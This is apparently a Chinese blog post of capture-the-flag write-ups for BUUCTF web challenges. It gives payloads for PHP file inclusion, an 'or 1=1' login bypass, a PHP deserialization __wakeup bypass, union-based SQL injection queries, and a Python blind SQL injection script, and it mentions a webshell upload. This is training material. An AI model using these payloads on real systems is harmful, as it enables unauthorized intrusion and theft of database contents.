BUUCTF web 极客大挑战 2019

Secret File

 在源码之中得到一个php页面
在这里插入图片描述
 后面页面之中
在这里插入图片描述
在这里插入图片描述
 根据提示抓包,在其中返回的页面得到了信息
在这里插入图片描述
 得到源码,根据源码,发现存在文件包含漏洞
在这里插入图片描述
 利用php伪协议,获取flag.php的信息,拿取flag
payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

Havefun

源码中发现代码
在这里插入图片描述
构造输入,获取flag
在这里插入图片描述

EasySQL

 利用万能密码,直接得到flag

admin' or 1=1#

Upload

能上传phtml类型文件
不能包含<?在这里插入图片描述
所以使用javascript中的语法,调用php,实现一句话木马
在这里插入图片描述
利用蚁剑连接,拿到flag
在这里插入图片描述

PHP

在这里插入图片描述
 经过测试,找到了www.zip这个备份文件。
在这里插入图片描述
 index.php中找到了一个反序列化的php函数:
在这里插入图片描述
 class.php里面存在一个类:
在这里插入图片描述
 根据类里面的信息,需要绕过__wakeup()获取flag,具体可以更改序列化后类属性的字段,大于本身的字段就可以绕过。
 私有属性反序列化之后,其属性名前面需要加\0。
payload:

import requests
s = 'O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'
url = 'http://32eeec15-b10b-477f-9dc9-3d492ae6c7df.node3.buuoj.cn/?select='
r = requests.get(url+s)
r.text

Knife

 菜刀连接,在根目录找到flag

LoveSQL

在这里插入图片描述
 首先尝试万能密码admin’ or 1=1#,成功登录进去
在这里插入图片描述
 尝试在username注入:

// order by 注入查看字段,检查出字段为3
?username=admin%27+order+by+4%23&password=123

//联合注入,查找数据库
?username=admin1%27+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata%23&password=123
//information_schema,test,performance_schema,mysql,geek,geek是当前数据库

//搜索geek数据库的表名
?username=admin1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='geek'%23&password=123
//geekuser,l0ve1ysq1

//查询表l0ve1ysq1
?username=admin1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema='geek'+and+table_name='l0ve1ysq1'%23&password=123
//id,username,password

//查询password字段,得到flag
?username=admin1%27+union+select+1,2,group_concat(password)+from+l0ve1ysq1%23&password=123

Http

在这里插入图片描述
页面提示,访问Secret.php,首字母记得大写。。。
在这里插入图片描述
上burp,加Rerferer
在这里插入图片描述
改UA
在这里插入图片描述
加XFF
在这里插入图片描述
拿到flag

FinalSQL

在这里插入图片描述

sql盲注,但是注入点被隐藏了,可以在源码中找到
在这里插入图片描述
更改源码并输入选择后,跳转到了search.php界面,并且是get传参,之后,检查过滤字符,初步检查过滤了空格,还有内联注释,不能直接内联注释绕过了,改用括号代替空格,最后脚本:
ps: 二分法还是快很多的,延迟也加上,没加延时收到很多错误数据,自己电脑太差了😭

import requests
import sys
import time

url = "http://66bb3fde-091a-402c-9d3e-828369716f57.node3.buuoj.cn/search.php?id=1^"

s = ''
for i in range(1,1000):
    left = 30
    right = 130
    while left != right:
        time.sleep(0.1)
        mid = (left+right)//2
        #url1 = url+"(ascii((substr((select(database())),%d,1)))>%d)" % (i, mid) # 获取数据库
        # 获取表名
        #url1 = url+"(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)
        # 获取列名
        #url1 = url+"(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),%d,1))>%d)" % (i, mid)
        # 读取数据
        url1 = url+"(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
        #print(url1)
        r = requests.get(url1)
        if "ERROR" in r.text:
            left = mid+1
        else:
            right = mid
    if left == 30:
        break
    else:
        s += chr(left)
        print(s)
print(s)



个人微信公众号,喜欢的话,随手关注一下啦

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值